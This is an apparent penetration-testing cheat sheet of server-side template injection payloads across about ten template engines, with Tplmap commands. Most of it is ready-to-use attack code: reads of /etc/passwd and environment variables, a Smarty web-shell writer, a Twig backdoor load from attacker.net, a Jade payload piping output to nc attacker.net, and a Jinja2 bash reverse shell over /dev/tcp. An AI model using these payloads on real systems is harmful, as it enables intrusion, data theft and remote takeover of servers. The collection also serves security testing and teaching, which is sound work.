Templates Injections

> *Template injection allows an attacker to include template code into an existant (or not) template.*

Recommended tool: Tplmap (https://github.com/epinna/tplmap) e.g:

```
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```

Ruby

Basic injection

```
<%= 7 * 7 %>
```

Retrieve /etc/passwd

```
<%= File.open('/etc/passwd').read %>
```

Java

Java - Basic injection

```
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
```

Java - Retrieve the system's environment variables

```
${T(java.lang.System).getenv()}
```

Java - Retrieve /etc/passwd

```
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```

Twig

Twig - Basic injection

```
{{7*7}}
{{7*'7'}} would result in 49
```

Twig - Template format

```
$output = $twig > render (
  'Dear' . $_GET['custom_greeting'],
  array("first_name" => $user.first_name)
);

$output = $twig > render (
  "Dear {first_name}",
  array("first_name" => $user.first_name)
);
```

Twig - Code execution

```
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
```

Smarty

```
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
```

Freemarker

Default functionality.

```
<#assign
ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
```

Jade / Codepen

```
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```

Velocity

```
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```

Mako

```
<%
import os
x=os.popen('id').read()
%>
${x}
```

Jinja2

Official website (http://jinja.pocoo.org/)

> *Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.*

Jinja 2 - Basic injection

```
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```

Jinja2 is used by Python Web Frameworks such as Django or Flask. The above injections have been tested on Flask application.

Jinja2 - Template format

```
{% extends "layout.html" %}
{% block body %}
  <ul>
  {% for user in users %}
    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
  {% endfor %}
  </ul>
{% endblock %}
```

Jinja2 - Dump all used classes

```
{{ ''.__class__.__mro__[2].__subclasses__() }}
```

Jinja2 - Dump all config variables

```
{% for key, value in config.iteritems() %}
    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>
{% endfor %}
```

Jinja2 - Read remote file

```
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
```

Jinja2 - Write into remote file

```
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.tx
t', 'w').write('Hello here !') }}
```

Jinja2 - Remote Code Execution via reverse shell

Listen for connexion

```
nv -lnvp 8000
```

Inject this template

```
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write(
'from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  # load the evil config
{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} # co
nnect to evil host
```

AngularJS

AngularJS - Basic injection

```
$eval('1+1')
{{1+1}}
```

Thanks to

- https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/ (https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)
- Yahoo! RCE via Spring Engine SSTI (https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/)
- Ruby ERB Template injection - TrustedSec (https://www.trustedsec.com/2017/09/rubyerb-template-injection/)
- Gist - Server-Side Template Injection - RCE For the Modern WebApp by James Kettle (PortSwigger) (https://gist.github.com/Yas3r/7006ec36ffb987cbfb98)
- PDF - Server-Side Template Injection: RCE for the modern webapp - @albinowax (https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf)
- VelocityServlet Expression Language injection (https://magicbluech.github.io/2017/12/02/VelocityServlet-Expression-language-Injection/)